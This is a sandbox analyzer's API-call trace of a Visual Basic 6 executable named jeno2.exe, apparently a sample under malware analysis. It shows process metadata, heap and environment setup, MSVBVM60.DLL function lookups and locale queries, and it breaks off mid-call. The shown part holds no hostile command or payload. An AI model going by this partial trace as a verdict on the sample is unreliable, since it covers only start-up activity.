# Flog Txt Version 1 # Analyzer Version: 3.2.2 # Analyzer Build Date: Mar 3 2020 14:14:30 # Log Creation Date: 01.04.2020 10:03:46.304 Process: id = "1" image_name = "jeno2.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jeno2.exe" page_root = "0x47f7a000" os_pid = "0xaf8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x454" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x3a4 [0040.873] GetVersion () returned 0x1db10106 [0040.874] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76d30000 [0040.876] GetProcAddress (hModule=0x76d30000, lpProcName="IsTNT") returned 0x0 [0040.876] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x2e60000 [0040.877] VirtualAlloc (lpAddress=0x0, dwSize=0x400000, flAllocationType=0x2000, flProtect=0x4) returned 0x2e70000 [0040.877] VirtualAlloc (lpAddress=0x2e70000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x2e70000 [0040.879] GetCurrentThreadId () returned 0x3a4 [0040.879] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe\" " [0040.879] GetEnvironmentStringsW () returned 0x14f47a8* [0040.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0040.879] RtlAllocateHeap (HeapHandle=0x2e60000, Flags=0x0, Size=0x570) returned 0x2e607d0 [0040.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x2e607d0, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0040.879] FreeEnvironmentStringsW (penv=0x14f47a8) returned 1 [0040.879] RtlAllocateHeap (HeapHandle=0x2e60000, Flags=0x0, Size=0x480) returned 0x2e60d48 [0040.879] GetStartupInfoA (in: lpStartupInfo=0x18f9b8 | out: lpStartupInfo=0x18f9b8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0040.879] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0040.879] GetFileType (hFile=0x0) returned 0x0 [0040.879] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0040.879] GetFileType (hFile=0x0) returned 0x0 [0040.879] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0040.879] GetFileType (hFile=0x0) returned 0x0 [0040.879] SetHandleCount (uNumber=0x20) returned 0x20 [0040.880] GetACP () returned 0x4e4 [0040.880] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f9e0 | out: lpCPInfo=0x18f9e0) returned 1 [0040.880] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x72a4c528, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jeno2.exe")) returned 0x2f [0040.881] HeapFree (in: hHeap=0x2e60000, dwFlags=0x0, lpMem=0x2e607d0 | out: hHeap=0x2e60000) returned 1 [0040.881] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x76d30000 [0040.881] GetProcAddress (hModule=0x76d30000, lpProcName="IsProcessorFeaturePresent") returned 0x76d45235 [0040.882] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0040.882] RtlAllocateHeap (HeapHandle=0x2e60000, Flags=0x8, Size=0x800) returned 0x2e611d0 [0040.887] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x7c [0040.887] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x80 [0040.887] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0040.887] GetModuleFileNameA (in: hModule=0x72940000, lpFilename=0x72a4e6c8, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\MSVBVM60.DLL" (normalized: "c:\\windows\\system32\\msvbvm60.dll")) returned 0x20 [0040.887] GetVersion () returned 0x1db10106 [0040.888] lstrcmpiW (lpString1="A", lpString2="B") returned -1 [0040.895] GetUserDefaultLCID () returned 0x409 [0040.895] CompareStringW (Locale=0x409, dwCmpFlags=0x30001, lpString1="A", cchCount1=-1, lpString2="B", cchCount2=-1) returned 1 [0040.895] GetSystemMetrics (nIndex=5) returned 1 [0040.895] GetSystemMetrics (nIndex=6) returned 1 [0040.895] GetSystemMetrics (nIndex=11) returned 32 [0040.895] GetSystemMetrics (nIndex=12) returned 32 [0040.895] GetSystemMetrics (nIndex=34) returned 132 [0040.895] GetSystemMetrics (nIndex=35) returned 38 [0040.895] GetSystemMetrics (nIndex=0) returned 1440 [0040.895] GetSystemMetrics (nIndex=1) returned 900 [0040.895] GetSystemMetrics (nIndex=32) returned 8 [0040.896] GetSystemMetrics (nIndex=33) returned 8 [0040.896] GetSystemMetrics (nIndex=42) returned 0 [0040.896] GetStockObject (i=15) returned 0x188000b [0040.896] GetStockObject (i=7) returned 0x1b00017 [0040.896] GetStockObject (i=6) returned 0x1b00018 [0040.896] GetStockObject (i=8) returned 0x1b00016 [0040.896] GetStockObject (i=4) returned 0x1900011 [0040.896] GetStockObject (i=2) returned 0x1900012 [0040.896] GetStockObject (i=0) returned 0x1900010 [0040.896] GetStockObject (i=5) returned 0x1900015 [0040.896] GetStockObject (i=13) returned 0x18a002e [0040.896] GetDC (hWnd=0x0) returned 0x4e01027b [0040.897] GetTextExtentPointA (in: hdc=0x4e01027b, lpString="0", c=1, lpsz=0x18f9dc | out: lpsz=0x18f9dc) returned 1 [0040.900] GetDeviceCaps (hdc=0x4e01027b, index=14) returned 1 [0040.900] GetDeviceCaps (hdc=0x4e01027b, index=12) returned 32 [0040.900] GetDeviceCaps (hdc=0x4e01027b, index=88) returned 96 [0040.900] GetDeviceCaps (hdc=0x4e01027b, index=90) returned 96 [0040.900] GetDeviceCaps (hdc=0x4e01027b, index=38) returned 32409 [0040.900] ReleaseDC (hWnd=0x0, hDC=0x4e01027b) returned 1 [0040.900] HeapCreate (flOptions=0x0, dwInitialSize=0x0, dwMaximumSize=0x0) returned 0x1460000 [0040.900] CoGetMalloc (in: dwMemContext=0x1, ppMalloc=0x72a4e7d0 | out: ppMalloc=0x72a4e7d0*=0x767666bc) returned 0x0 [0040.901] GetCurrentThreadId () returned 0x3a4 [0041.131] LoadLibraryA (lpLibFileName="MSVBVM60.DLL") returned 0x72940000 [0041.132] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarTstGt") returned 0x72a49841 [0041.132] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarSub") returned 0x72a477ea [0041.132] GetProcAddress (hModule=0x72940000, lpProcName="__vbaStrI2") returned 0x72a20507 [0041.132] GetProcAddress (hModule=0x72940000, lpProcName="__vbaR8ForNextCheck") returned 0x72a49530 [0041.132] GetProcAddress (hModule=0x72940000, lpProcName="_CIcos") returned 0x72a39386 [0041.132] GetProcAddress (hModule=0x72940000, lpProcName="_adj_fptan") returned 0x72a309f9 [0041.132] GetProcAddress (hModule=0x72940000, lpProcName="__vbaStrI4") returned 0x72a20537 [0041.132] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarMove") returned 0x72a46aee [0041.132] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarVargNofree") returned 0x72a4728d [0041.132] GetProcAddress (hModule=0x72940000, lpProcName="__vbaAryMove") returned 0x72a0c244 [0041.133] GetProcAddress (hModule=0x72940000, lpProcName="__vbaFreeVar") returned 0x72a46831 [0041.133] GetProcAddress (hModule=0x72940000, lpProcName="__vbaLateIdCall") returned 0x72a48b74 [0041.133] GetProcAddress (hModule=0x72940000, lpProcName="__vbaStrVarMove") returned 0x72a21929 [0041.133] GetProcAddress (hModule=0x72940000, lpProcName="__vbaLenBstr") returned 0x72a26a9b [0041.133] GetProcAddress (hModule=0x72940000, lpProcName="__vbaEnd") returned 0x72a0be88 [0041.133] GetProcAddress (hModule=0x72940000, lpProcName="__vbaFreeVarList") returned 0x72a47262 [0041.133] GetProcAddress (hModule=0x72940000, lpProcName="__vbaPut3") returned 0x72a256fa [0041.133] GetProcAddress (hModule=0x72940000, lpProcName="_adj_fdiv_m64") returned 0x72a302ba [0041.133] GetProcAddress (hModule=0x72940000, lpProcName=0x26c) returned 0x72a13118 [0041.133] GetProcAddress (hModule=0x72940000, lpProcName="__vbaRaiseEvent") returned 0x72a48b8f [0041.133] GetProcAddress (hModule=0x72940000, lpProcName="__vbaFreeObjList") returned 0x72a19fc3 [0041.134] GetProcAddress (hModule=0x72940000, lpProcName=0x204) returned 0x72a270b7 [0041.134] GetProcAddress (hModule=0x72940000, lpProcName=0x205) returned 0x72a27569 [0041.134] GetProcAddress (hModule=0x72940000, lpProcName="__vbaStrErrVarCopy") returned 0x72a21a7c [0041.134] GetProcAddress (hModule=0x72940000, lpProcName="_adj_fprem1") returned 0x72a30941 [0041.134] GetProcAddress (hModule=0x72940000, lpProcName="__vbaRecAnsiToUni") returned 0x72a1b797 [0041.134] GetProcAddress (hModule=0x72940000, lpProcName=0x206) returned 0x72a275a0 [0041.134] GetProcAddress (hModule=0x72940000, lpProcName=0x272) returned 0x72a19cca [0041.134] GetProcAddress (hModule=0x72940000, lpProcName="__vbaCopyBytes") returned 0x72a1a0f3 [0041.134] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarCmpNe") returned 0x72a49957 [0041.134] GetProcAddress (hModule=0x72940000, lpProcName="__vbaStrCat") returned 0x72a26a76 [0041.134] GetProcAddress (hModule=0x72940000, lpProcName="__vbaLsetFixstr") returned 0x72a276e5 [0041.135] GetProcAddress (hModule=0x72940000, lpProcName="__vbaRecDestruct") returned 0x72a1b704 [0041.135] GetProcAddress (hModule=0x72940000, lpProcName="__vbaSetSystemError") returned 0x72a0c33a [0041.135] GetProcAddress (hModule=0x72940000, lpProcName="__vbaNameFile") returned 0x72a16402 [0041.135] GetProcAddress (hModule=0x72940000, lpProcName="__vbaHresultCheckObj") returned 0x72a1a274 [0041.135] GetProcAddress (hModule=0x72940000, lpProcName="__vbaLenVar") returned 0x72a26aab [0041.135] GetProcAddress (hModule=0x72940000, lpProcName="_adj_fdiv_m32") returned 0x72a3026e [0041.135] GetProcAddress (hModule=0x72940000, lpProcName="__vbaAryVar") returned 0x72a43940 [0041.135] GetProcAddress (hModule=0x72940000, lpProcName=0x29a) returned 0x72a1db35 [0041.135] GetProcAddress (hModule=0x72940000, lpProcName=0x29b) returned 0x72a1db60 [0041.135] GetProcAddress (hModule=0x72940000, lpProcName="__vbaAryDestruct") returned 0x72a1c1fe [0041.136] GetProcAddress (hModule=0x72940000, lpProcName="__vbaLateMemSt") returned 0x72a48c75 [0041.136] GetProcAddress (hModule=0x72940000, lpProcName="__vbaExitProc") returned 0x72a24a48 [0041.136] GetProcAddress (hModule=0x72940000, lpProcName=0x251) returned 0x72a1cd05 [0041.136] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarForInit") returned 0x72a493cc [0041.136] GetProcAddress (hModule=0x72940000, lpProcName=0x252) returned 0x72a1cd3a [0041.136] GetProcAddress (hModule=0x72940000, lpProcName=0x12d) returned 0x72a35e23 [0041.136] GetProcAddress (hModule=0x72940000, lpProcName=0x253) returned 0x72a1d132 [0041.136] GetProcAddress (hModule=0x72940000, lpProcName="__vbaOnError") returned 0x72a2499d [0041.136] GetProcAddress (hModule=0x72940000, lpProcName="__vbaObjSet") returned 0x72a19ff1 [0041.136] GetProcAddress (hModule=0x72940000, lpProcName="_adj_fdiv_m16i") returned 0x72a30306 [0041.136] GetProcAddress (hModule=0x72940000, lpProcName="__vbaObjSetAddref") returned 0x72a1a008 [0041.137] GetProcAddress (hModule=0x72940000, lpProcName="_adj_fdivr_m16i") returned 0x72a30406 [0041.137] GetProcAddress (hModule=0x72940000, lpProcName=0x256) returned 0x72a0e0f7 [0041.137] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarIndexLoad") returned 0x72a1c43b [0041.137] GetProcAddress (hModule=0x72940000, lpProcName="__vbaStrFixstr") returned 0x72a29652 [0041.137] GetProcAddress (hModule=0x72940000, lpProcName="__vbaBoolVar") returned 0x72a20d73 [0041.137] GetProcAddress (hModule=0x72940000, lpProcName=0x133) returned 0x72a35f5a [0041.137] GetProcAddress (hModule=0x72940000, lpProcName="__vbaBoolVarNull") returned 0x72a47185 [0041.137] GetProcAddress (hModule=0x72940000, lpProcName="__vbaRefVarAry") returned 0x72a1c417 [0041.137] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarTstLt") returned 0x72a49873 [0041.137] GetProcAddress (hModule=0x72940000, lpProcName="_CIsin") returned 0x72a394ee [0041.138] GetProcAddress (hModule=0x72940000, lpProcName=0x2c5) returned 0x72a38299 [0041.138] GetProcAddress (hModule=0x72940000, lpProcName=0x277) returned 0x72a26fe2 [0041.138] GetProcAddress (hModule=0x72940000, lpProcName="__vbaErase") returned 0x72a1c0fd [0041.138] GetProcAddress (hModule=0x72940000, lpProcName=0x20d) returned 0x72a27db9 [0041.138] GetProcAddress (hModule=0x72940000, lpProcName=0x278) returned 0x72a2702f [0041.138] GetProcAddress (hModule=0x72940000, lpProcName="__vbaChkstk") returned 0x72a362ea [0041.138] GetProcAddress (hModule=0x72940000, lpProcName=0x20e) returned 0x72a27dfb [0041.138] GetProcAddress (hModule=0x72940000, lpProcName="__vbaFileClose") returned 0x72a1417d [0041.138] GetProcAddress (hModule=0x72940000, lpProcName="EVENT_SINK_AddRef") returned 0x72a09b74 [0041.138] GetProcAddress (hModule=0x72940000, lpProcName=0x20f) returned 0x72a27f8a [0041.138] GetProcAddress (hModule=0x72940000, lpProcName=0x210) returned 0x72a27faa [0041.139] GetProcAddress (hModule=0x72940000, lpProcName="__vbaGet3") returned 0x72a256de [0041.139] GetProcAddress (hModule=0x72940000, lpProcName=0x211) returned 0x72a15d41 [0041.139] GetProcAddress (hModule=0x72940000, lpProcName="__vbaStrCmp") returned 0x72a29596 [0041.139] GetProcAddress (hModule=0x72940000, lpProcName="__vbaCyI2") returned 0x72a2199f [0041.139] GetProcAddress (hModule=0x72940000, lpProcName="__vbaPutOwner3") returned 0x72a2576c [0041.139] GetProcAddress (hModule=0x72940000, lpProcName="__vbaAryConstruct2") returned 0x72a1c6ae [0041.139] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarTstEq") returned 0x72a497f6 [0041.139] GetProcAddress (hModule=0x72940000, lpProcName="__vbaObjVar") returned 0x72a1a1a9 [0041.139] GetProcAddress (hModule=0x72940000, lpProcName="DllFunctionCall") returned 0x7294a0fd [0041.139] GetProcAddress (hModule=0x72940000, lpProcName=0x29e) returned 0x72a1de02 [0041.139] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarOr") returned 0x72a495b2 [0041.140] GetProcAddress (hModule=0x72940000, lpProcName="__vbaFpUI1") returned 0x72a47534 [0041.140] GetProcAddress (hModule=0x72940000, lpProcName="__vbaStrR4") returned 0x72a20567 [0041.140] GetProcAddress (hModule=0x72940000, lpProcName="__vbaRedimPreserve") returned 0x72a1c339 [0041.140] GetProcAddress (hModule=0x72940000, lpProcName="__vbaLbound") returned 0x72a1c628 [0041.140] GetProcAddress (hModule=0x72940000, lpProcName="_adj_fpatan") returned 0x72a309f6 [0041.140] GetProcAddress (hModule=0x72940000, lpProcName="__vbaLateIdCallLd") returned 0x72a48b25 [0041.140] GetProcAddress (hModule=0x72940000, lpProcName="__vbaRedim") returned 0x72a1c30a [0041.140] GetProcAddress (hModule=0x72940000, lpProcName="__vbaRecUniToAnsi") returned 0x72a1b75d [0041.140] GetProcAddress (hModule=0x72940000, lpProcName="EVENT_SINK_Release") returned 0x72a09b87 [0041.140] GetProcAddress (hModule=0x72940000, lpProcName="__vbaNew") returned 0x72a1a204 [0041.141] GetProcAddress (hModule=0x72940000, lpProcName=0x258) returned 0x72a0ce69 [0041.141] GetProcAddress (hModule=0x72940000, lpProcName=0x259) returned 0x72a43a13 [0041.141] GetProcAddress (hModule=0x72940000, lpProcName="_CIsqrt") returned 0x72a39593 [0041.141] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarAnd") returned 0x72a49589 [0041.141] GetProcAddress (hModule=0x72940000, lpProcName="EVENT_SINK_QueryInterface") returned 0x72a09a85 [0041.141] GetProcAddress (hModule=0x72940000, lpProcName="__vbaStr2Vec") returned 0x72a43a40 [0041.141] GetProcAddress (hModule=0x72940000, lpProcName="__vbaExceptHandler") returned 0x72a247df [0041.141] GetProcAddress (hModule=0x72940000, lpProcName=0x2c7) returned 0x72a37ddb [0041.141] GetProcAddress (hModule=0x72940000, lpProcName="__vbaPrintFile") returned 0x72a150a3 [0041.141] GetProcAddress (hModule=0x72940000, lpProcName=0x2c8) returned 0x72a389c4 [0041.141] GetProcAddress (hModule=0x72940000, lpProcName="__vbaStrToUnicode") returned 0x72a0bf1d [0041.142] GetProcAddress (hModule=0x72940000, lpProcName=0x2c9) returned 0x72a38971 [0041.142] GetProcAddress (hModule=0x72940000, lpProcName=0x25e) returned 0x72a27e26 [0041.142] GetProcAddress (hModule=0x72940000, lpProcName="_adj_fprem") returned 0x72a30689 [0041.142] GetProcAddress (hModule=0x72940000, lpProcName="_adj_fdivr_m64") returned 0x72a303ba [0041.142] GetProcAddress (hModule=0x72940000, lpProcName=0x25f) returned 0x72a27f4d [0041.142] GetProcAddress (hModule=0x72940000, lpProcName=0x260) returned 0x72a20f56 [0041.142] GetProcAddress (hModule=0x72940000, lpProcName=0x213) returned 0x72a15c89 [0041.142] GetProcAddress (hModule=0x72940000, lpProcName=0x2cc) returned 0x72a197d1 [0041.142] GetProcAddress (hModule=0x72940000, lpProcName="__vbaFPException") returned 0x72a47513 [0041.142] GetProcAddress (hModule=0x72940000, lpProcName=0x214) returned 0x72a15c9a [0041.142] GetProcAddress (hModule=0x72940000, lpProcName=0x2cd) returned 0x72a28fe9 [0041.143] GetProcAddress (hModule=0x72940000, lpProcName="__vbaInStrVar") returned 0x72a2738d [0041.143] GetProcAddress (hModule=0x72940000, lpProcName="__vbaStrCompVar") returned 0x72a27b3e [0041.143] GetProcAddress (hModule=0x72940000, lpProcName="__vbaGetOwner3") returned 0x72a25750 [0041.143] GetProcAddress (hModule=0x72940000, lpProcName="__vbaUbound") returned 0x72a1c65a [0041.143] GetProcAddress (hModule=0x72940000, lpProcName="__vbaStrVarVal") returned 0x72a21948 [0041.143] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarCat") returned 0x72a2697d [0041.143] GetProcAddress (hModule=0x72940000, lpProcName=0x217) returned 0x72a1c85d [0041.143] GetProcAddress (hModule=0x72940000, lpProcName="__vbaI2Var") returned 0x72a24e21 [0041.143] GetProcAddress (hModule=0x72940000, lpProcName=0x219) returned 0x72a20ebe [0041.143] GetProcAddress (hModule=0x72940000, lpProcName=0x284) returned 0x72a1de99 [0041.144] GetProcAddress (hModule=0x72940000, lpProcName=0x285) returned 0x72a153f7 [0041.144] GetProcAddress (hModule=0x72940000, lpProcName="_CIlog") returned 0x72a3942b [0041.144] GetProcAddress (hModule=0x72940000, lpProcName="__vbaFileOpen") returned 0x72a13d10 [0041.144] GetProcAddress (hModule=0x72940000, lpProcName="__vbaR8Str") returned 0x72a210ea [0041.144] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarLateMemCallLdRf") returned 0x72a48da8 [0041.144] GetProcAddress (hModule=0x72940000, lpProcName=0x23a) returned 0x72a25618 [0041.144] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVar2Vec") returned 0x72a43aec [0041.144] GetProcAddress (hModule=0x72940000, lpProcName=0x288) returned 0x72a14275 [0041.144] GetProcAddress (hModule=0x72940000, lpProcName="__vbaInStr") returned 0x7294a296 [0041.144] GetProcAddress (hModule=0x72940000, lpProcName="__vbaNew2") returned 0x72a1a237 [0041.144] GetProcAddress (hModule=0x72940000, lpProcName="_adj_fdiv_m32i") returned 0x72a3033a [0041.145] GetProcAddress (hModule=0x72940000, lpProcName=0x23c) returned 0x72a21290 [0041.145] GetProcAddress (hModule=0x72940000, lpProcName="_adj_fdivr_m32i") returned 0x72a3043a [0041.145] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarSetObj") returned 0x72a1a01f [0041.145] GetProcAddress (hModule=0x72940000, lpProcName="__vbaStrCopy") returned 0x72a26c4a [0041.145] GetProcAddress (hModule=0x72940000, lpProcName="__vbaI4Str") returned 0x72a2105e [0041.145] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarNot") returned 0x72a49564 [0041.145] GetProcAddress (hModule=0x72940000, lpProcName="__vbaFreeStrList") returned 0x72a26c01 [0041.145] GetProcAddress (hModule=0x72940000, lpProcName=0x240) returned 0x72a15f0d [0041.145] GetProcAddress (hModule=0x72940000, lpProcName="_adj_fdivr_m32") returned 0x72a3036e [0041.145] GetProcAddress (hModule=0x72940000, lpProcName="__vbaPowerR8") returned 0x72a211ca [0041.146] GetProcAddress (hModule=0x72940000, lpProcName="_adj_fdiv_r") returned 0x72a2fda9 [0041.146] GetProcAddress (hModule=0x72940000, lpProcName=0x2ad) returned 0x72a1ef7d [0041.146] GetProcAddress (hModule=0x72940000, lpProcName=0x242) returned 0x72a161f8 [0041.146] GetProcAddress (hModule=0x72940000, lpProcName=0x64) returned 0x729435a4 [0041.146] GetProcAddress (hModule=0x72940000, lpProcName=0x243) returned 0x72a16224 [0041.146] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarTstNe") returned 0x72a4980f [0041.146] GetProcAddress (hModule=0x72940000, lpProcName="__vbaI4Var") returned 0x72a24e2f [0041.146] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarCmpEq") returned 0x72a49922 [0041.146] GetProcAddress (hModule=0x72940000, lpProcName=0x262) returned 0x72a122b9 [0041.146] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarAdd") returned 0x72a477c1 [0041.147] GetProcAddress (hModule=0x72940000, lpProcName="__vbaLateMemCall") returned 0x72a48cb8 [0041.147] GetProcAddress (hModule=0x72940000, lpProcName="__vbaAryLock") returned 0x72a1c6d9 [0041.147] GetProcAddress (hModule=0x72940000, lpProcName=0x264) returned 0x72a122fb [0041.147] GetProcAddress (hModule=0x72940000, lpProcName="__vbaStrToAnsi") returned 0x7294a3d7 [0041.147] GetProcAddress (hModule=0x72940000, lpProcName="__vbaStrComp") returned 0x72a27be9 [0041.147] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarDup") returned 0x72a46df6 [0041.147] GetProcAddress (hModule=0x72940000, lpProcName="__vbaFpI2") returned 0x72a47559 [0041.147] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarLateMemCallLd") returned 0x72a48d8c [0041.147] GetProcAddress (hModule=0x72940000, lpProcName="__vbaFpI4") returned 0x72a47570 [0041.147] GetProcAddress (hModule=0x72940000, lpProcName=0x268) returned 0x72a26d9a [0041.148] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarCopy") returned 0x72a46bb8 [0041.148] GetProcAddress (hModule=0x72940000, lpProcName="__vbaRecDestructAnsi") returned 0x72a1b7d1 [0041.148] GetProcAddress (hModule=0x72940000, lpProcName=0x269) returned 0x72a26dad [0041.148] GetProcAddress (hModule=0x72940000, lpProcName="__vbaLateMemCallLd") returned 0x72a48c4d [0041.148] GetProcAddress (hModule=0x72940000, lpProcName="_CIatan") returned 0x72a392c0 [0041.148] GetProcAddress (hModule=0x72940000, lpProcName="__vbaAryCopy") returned 0x72a0c20d [0041.148] GetProcAddress (hModule=0x72940000, lpProcName="__vbaStrMove") returned 0x72a26c30 [0041.148] GetProcAddress (hModule=0x72940000, lpProcName=0x26a) returned 0x72a26e9e [0041.148] GetProcAddress (hModule=0x72940000, lpProcName="__vbaStrVarCopy") returned 0x72a20646 [0041.148] GetProcAddress (hModule=0x72940000, lpProcName="__vbaR8IntI4") returned 0x72a2980a [0041.148] GetProcAddress (hModule=0x72940000, lpProcName=0x26b) returned 0x72a26eb1 [0041.149] GetProcAddress (hModule=0x72940000, lpProcName="_allmul") returned 0x72a2eeed [0041.149] GetProcAddress (hModule=0x72940000, lpProcName="_CItan") returned 0x72a39644 [0041.149] GetProcAddress (hModule=0x72940000, lpProcName="__vbaFPInt") returned 0x72a29821 [0041.149] GetProcAddress (hModule=0x72940000, lpProcName="__vbaAryUnlock") returned 0x72a1c6fc [0041.149] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarForNext") returned 0x72a493fa [0041.149] GetProcAddress (hModule=0x72940000, lpProcName="_CIexp") returned 0x72a2dd11 [0041.149] GetProcAddress (hModule=0x72940000, lpProcName="__vbaMidStmtBstr") returned 0x72a27c22 [0041.149] GetProcAddress (hModule=0x72940000, lpProcName=0x244) returned 0x72a1624d [0041.149] GetProcAddress (hModule=0x72940000, lpProcName="__vbaFreeObj") returned 0x72a19faf [0041.149] GetProcAddress (hModule=0x72940000, lpProcName="__vbaFreeStr") returned 0x72a26bec [0041.150] GetProcAddress (hModule=0x72940000, lpProcName=0x245) returned 0x72a1325a [0041.150] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0041.150] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0041.150] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0041.150] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x104) returned 0x14607d0 [0041.150] GetCurrentThreadId () returned 0x3a4 [0041.150] GetCurrentThreadId () returned 0x3a4 [0041.150] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0xec8) returned 0x14608e0 [0041.151] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe\" " [0041.151] lstrlenA (lpString="") returned 0 [0041.151] lstrcpyA (in: lpString1=0x18feac, lpString2="" | out: lpString1="") returned="" [0041.151] SetErrorMode (uMode=0x8001) returned 0x0 [0041.151] GetModuleFileNameA (in: hModule=0x72940000, lpFilename=0x18fb68, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\MSVBVM60.DLL" (normalized: "c:\\windows\\system32\\msvbvm60.dll")) returned 0x20 [0041.151] GetUserDefaultLCID () returned 0x409 [0041.151] lstrcpyA (in: lpString1=0x18f868, lpString2="*" | out: lpString1="*") returned="*" [0041.151] LoadStringA (in: hInstance=0x72940000, uID=0x7d1, lpBuffer=0x18fc6c, cchBufferMax=8 | out: lpBuffer="409") returned 0x3 [0041.152] GetSystemDefaultLCID () returned 0x409 [0041.152] GetUserDefaultLCID () returned 0x409 [0041.152] GetLocaleInfoA (in: Locale=0x400, LCType=0xe, lpLCData=0x18fc76, cchData=2 | out: lpLCData=".") returned 2 [0041.152] GetStockObject (i=13) returned 0x18a002e [0041.152] GetObjectA (in: h=0x18a002e, c=60, pv=0x18fc3c | out: pv=0x18fc3c) returned 60 [0041.152] GetLocaleInfoA (in: Locale=0x409, LCType=0x80000003, lpLCData=0x18fc38, cchData=4 | out: lpLCData="ENU") returned 4 [0041.152] lstrcpyA (in: lpString1=0x18fc68, lpString2="EN" | out: lpString1="EN") returned="EN" [0041.152] lstrlenA (lpString="{xx}") returned 4 [0041.152] lstrlenA (lpString="VB98.CHM") returned 8 [0041.152] lstrcpyA (in: lpString1=0x72a4eae8, lpString2="VB98.CHM" | out: lpString1="VB98.CHM") returned="VB98.CHM" [0041.152] GetLocaleInfoA (in: 